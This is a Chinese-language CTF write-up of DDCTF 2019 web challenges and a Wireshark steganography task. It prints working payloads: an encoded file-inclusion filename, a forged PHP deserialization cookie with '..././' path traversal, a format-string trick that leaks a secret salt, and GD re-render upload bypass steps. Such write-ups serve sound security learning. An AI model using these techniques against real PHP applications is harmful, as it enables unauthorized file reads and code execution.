ddctf2019--web部分writeup

0x00前言

上週五開始的DDCTF 2019,整個比賽有一週,題目整體來說感覺很不錯,可惜我太菜了,做了4+1道題,還是要努力吧

 

0x01 web 滴~

打開看着url,就像文件包含

文件名1次hex編碼再2次編碼,因此base64 2次解碼+hex解碼獲取值爲flag.jpg

並且查看頁面源碼圖片是base64的編碼,根據規律查看index.php的源碼,在<img>標籤內base64解碼就是php的源碼

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

這道題之後十分的腦洞.....先說源碼繞是繞不過的,config被替換!,是看不到config.php源碼的

但是源碼給了博客的地址,訪問下,然後根據下面師傅們的評論,發現是這個作者的另一篇文章有線索

裏面有個該博主拿出來的示例文件叫.practice.txt.swp

然後進行測試發現有個practice.txt.swp文件

之後思路非常清晰了,和BCTF上的一道題很像

源碼第一個正則不準有!存在,而第二個替換把config替換成!

最後的payload:

f1agconfigddctf.php

 

 

 

編碼後:

TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==

 利用index.php的文件包含,獲取f1ag!ddctf.php源碼

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

到這裏就是變量覆蓋+file_get_contents的php://input來獲取2個值相等了

 

0x02 web 簽到題

看源碼有個onload

auth()函數在js/index.js裏面

一個ajax請求,請求頭帶了個didictf_username,但是是空,結合題目界面需要登錄權限,隨便改個admin,於是獲取源碼

訪問app/fL2XID2i0Cdh.php是2個類的源代碼

<?php
Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        return true;
        
          if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
              $this->response('您當前當前權限爲管理員----請訪問:app/fL2XID2i0Cdh.php');
              return TRUE;
         }else{
              $this->response('抱歉,您沒有登陸權限,請獲取權限後訪問-----','error');
              exit();
          }
    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

?>

和繼承Application 類的Session類

<?php
include 'Application.php';
class Session extends Application {

    //key建議爲8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration            = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain                = '';
    var $cookie_secure                = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

?>

看了看代碼,思路是用Application類的__destruct()魔術方法來讀取文件,也就是反序列化

Session類這段代碼的邏輯是這樣的

session_create()會接收USER_AGENT、REMOTE_ADDR和隨機生成個sessionid,這三個值加入數組序列化這個數組,用祕鑰key加鹽,然後求md5值

而利用點是session_read()方法內的反序列化操作,但是前提是md5值和傳入的序列化值要相同,因此我們需要知道鹽key的值

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

session_read()後會接收nickname的post請求並會將其賦值給$data輸出,但是%s被賦值後,就不會再被賦值,而nickname會被先賦值,eancrykey後被賦值

按正常邏輯

Welcome my friend %s
第一次循環,%s -> nickname
Welcome my friend nickname
第二次循環,沒有%s了,因此eancrykey不會被加入該字符串
Welcome my friend nickname

 所有這裏有個tips,如果我們傳入的nickname是%s的話,那麼第一次循環後還是有%s,那麼eancrykey這個鹽值就會顯示出來

第一次請求,獲取cookie

第二次請求帶nickname的post

獲取朝思暮想的鹽:EzblrbNS

之後反序列化payload,這裏提一句反序列化操作後還會判讀頭部文件和傳過來的cookie的序列化值是否相同,但是這都不影響序列化的輸出,所以可以無視後面的操作

 <?php
Class Application {
    var $path = '..././config/flag.txt';
}

$class = new Application();

 $userdata = array(
            'session_id' => '',
            'ip_address' => '',
            'user_agent' => $class,
            'user_data' => '',
        );
$data1 = serialize($userdata);
$data2 = md5("EzblrbNS" . $data1);
echo $data1 . $data2;
?>

源碼中的 ../會被替換成空,利用 ..././繞過,因爲現在18個字符,我數了下猜測可能會有個flag.txt,剛好夠18個。(如果不滿足18個條件其實可以用./和/來增加字符)

a:4:{s:10:"session_id";s:0:"";s:10:"ip_address";s:0:"";s:10:"user_agent";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}s:9:"user_data";s:0:"";}a8c64448c11924176c37347975843367

發送的時候url編個碼,防止;的問題

 

0x03 web upload-img

之後會返回,我試着在圖片中加入phpinfo(),也不行

這道題主要是思路,最先看不出個所以然,後面有位師傅提示返回的圖片和上傳的圖片不一樣的

因此估計是圖片上傳,經過圖片庫函數處理,再返回給我們,也就是所謂的二次渲染(在做這題之前還不知道二次渲染是啥orz)

這裏推測是GD庫來處理圖片,查了一波資料這篇文章和這道題很像

https://paper.seebug.org/387/

文章提到的腳本我是從這裏搞到的

https://wiki.ioin.in/soft/detail/1q

之後把腳本中的值改一下,改成phpinfo()

然後確保運行的環境有gd庫,對圖片進行處理

php jsp_payload.php xx.jpg

把處理後的圖片上傳

有時候一張圖片不行,換一張,我這裏換了4張,終於成功了。

 

0x04 misc wireshark

這道題看着200分,我覺得是算簡單的吧

 wireshark打開數據包,利用http過濾,發現是有http請求的,數據並不多

導出下對象(文件->導出對象->http..)

第一個請求的信息,找對相應的數據包,追蹤下http流

本地瀏覽器打開這個網站,是個圖片加密的網站

 

 現在是爲了找到密碼key,和隱藏信息的圖片了,繼續看導出對象內容,最後有個png,但那是假的,原理和web的upload-img差不多,是通過網站二次渲染,裏面的隱寫信息被渲染掉了

要注意的是2個multipart/form-data類型傳輸的文件

這2個包裏分別有2張圖片,找到對應數據包的對應圖片傳輸字段,右鍵->導出分組字節流

利用該方法得到2張圖片

 

 11.png改變高度,獲得key,(02->03)

 

 

拿這個key在最先提到的解密網站解密第二張圖片

把其中的4444....7D用hex解碼,得到flag

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章